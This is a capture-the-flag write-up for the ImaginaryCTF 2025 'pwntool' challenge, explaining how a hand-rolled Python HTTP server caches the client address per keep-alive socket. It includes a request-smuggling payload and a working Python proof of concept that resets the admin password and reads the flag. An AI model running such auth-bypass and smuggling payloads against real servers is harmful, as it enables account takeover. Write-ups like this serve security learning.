Featured image of post HTTP keep-alive request smuggling past auth (unintended) - ImaginaryCTF 2025

HTTP keep-alive request smuggling past auth (unintended) - ImaginaryCTF 2025

An unintended keep-alive bug: a stale client_addr lets you smuggle a privileged request past the auth check. ImaginaryCTF 2025.

Challenge source

Introduction

pwntool is a minimalist HTTP server (a custom socket loop with keep-alive and manual request parsing) plus an admin bot (Selenium/Chrome) that visits attacker-supplied URLs. The intended solution uses a browser-side payload (exploit.txt) to smuggle a second HTTP request to /register.

Mine is unintended. The server caches client_addr per TCP socket and never refreshes it per request on a persistent connection. So once a trusted client is connected, any later request on that same socket inherits its admin/localhost identity, which is enough to register or reset the admin without touching the browser-smuggling trick at all.

Context Explanation

  • Server: a custom Python socket server (app.py) multiplexing clients with select, parsing HTTP by hand, with keep-alive.
  • Admin bot: Selenium/Chrome, driven via /visit with an X-Target header; it connects from 127.0.0.1.
  • Routes: /register, /flag, and friends. Admin creds are generated at startup and kept in memory (accounts).
  • The bug: the per-socket record stores addr (the peer address at accept() time) and reuses it for authorization on every request parsed from that socket, without re-deriving identity. Under HTTP/1.1 keep-alive, later requests ride on the same trusted client_addr.
#...
for s in rlist:
    if s is server:
        client_sock, addr = server.accept()
        client_sock.setblocking(False)
        clients[client_sock] = {"addr": addr, "buffer": b""}
        print(f"[*] New client {addr}")
#...

Directive

  1. Use /visit so the admin bot opens a single keep-alive TCP connection to the server.
  2. Get a second request processed on that same socket, which the server handles without updating client_addr.
  3. Run a privileged action (POST /register with headers), then read /flag.

Solution

1) Relevant server structure (from app.py)

The server accepts connections, stashes the peer address once, and parses multiple HTTP requests off the same socket:

# app.py (excerpts)
import socket, select, base64, random, string, os, threading
from urllib.parse import urlparse, parse_qs
# ... Selenium / webdriver imports for the admin bot ...

HOST = "0.0.0.0"
PORT = 8080

routes = {}
accounts = {}
FLAG_FILE = "./flag.txt"

# ... admin password generation at startup ...
# accounts["admin"] = admin_password
# print(f"[+] Admin password: {admin_password}")

# Connection bookkeeping
serversock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
serversock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
serversock.bind((HOST, PORT))
serversock.listen(128)

clients = {}  # socket -> {"addr": (ip, port), "buffer": b"...", ...}

# Main loop (simplified):
s, addr = serversock.accept()
clients[s] = {"addr": addr, "buffer": b"", "last_active": datetime.now()}

# ... later, per readable client socket:
data = s.recv(8192)
client = clients[s]
client["buffer"] += data

# Parse 1+ HTTP requests from client["buffer"] (keep-alive)
# For each parsed request:
# - route it
# - build_response(..., keep_alive=<bool>)
# - s.send(response)
# - if not keep_alive: close
# NOTE: authorization decisions key off client["addr"] (NOT re-derived per request)

The point: the authorization gate for sensitive routes (letting /register through for localhost/the admin bot) keys off client["addr"]. Any request parsed off the same socket inherits that origin.


2) Intended exploit (for reference)

The official path serves an HTML file whose <script> does a body-smuggling trick: fetch("http://localhost:8080/", { method: "POST", body: "a".repeat(3526) + "POST /register HTTP/1.1 ..." }). The server then reads a second request off the same TCP connection, effectively:

POST /register HTTP/1.1
Host: localhost:8080
X-Username: admin
X-Password: admin
Content-Length: 0

3) The unintended exploit: stale client_addr on keep-alive

Same core primitive, multiple requests on one connection, but no browser smuggling needed. The observation:

  • Identity is never re-derived per request; clients[s]["addr"] is reused for everything on that socket.
  • Once the admin bot (from 127.0.0.1) holds a keep-alive connection, every later request on it counts as localhost/admin.

The PoC:

import base64, time, requests
from datetime import datetime

TARGET = "http://34.72.72.63:23505"
ADMIN_NEW_PASS = "hitcat"
ROUNDS = 10
VISIT_DELAY_S = 0.6
SESSION = requests.Session()

def log(msg): print(f"{msg}", flush=True)
def b64_basic(u,p): return "Basic " + base64.b64encode(f"{u}:{p}".encode()).decode()

def do_visit():
    data_url = "http://127.0.0.1:8080/"
    r = SESSION.post(TARGET+"/visit", headers={"X-Target": data_url})
    log(f"/visit ->{r.text}")

def do_register():
    r = SESSION.post(TARGET+"/register", headers={"X-Username":"admin","X-Password":ADMIN_NEW_PASS})
    log(f"/register -> {r.text}")

def do_flag():
    r = SESSION.get(TARGET+"/flag", headers={"Authorization": b64_basic("admin", ADMIN_NEW_PASS)})
    log(f"/flag -> {r.text}")
    return r

for i in range(ROUNDS):
    log(f"== Round {i+1}/{ROUNDS} ==")
    do_visit()
    time.sleep(VISIT_DELAY_S)
    do_register()
    r = do_flag()
    if r.status_code == 200 and "flag" in r.text.lower():
        print("\n[FLAG]\n" + r.text + "\n")
        break
    time.sleep(0.7)

What’s happening under the hood:

  1. POST /visit sends the admin bot out from 127.0.0.1 to open a keep-alive socket to the server.
  2. Since the server parses several requests from one clients[s]["buffer"], a second request lands on that same socket.
  3. It gets authorized against the cached client["addr"] == ('127.0.0.1', <port>), so it reads as local/admin.
  4. /register resets the admin, then /flag gives it up.

No browser body tricks, just the server’s per-socket identity caching.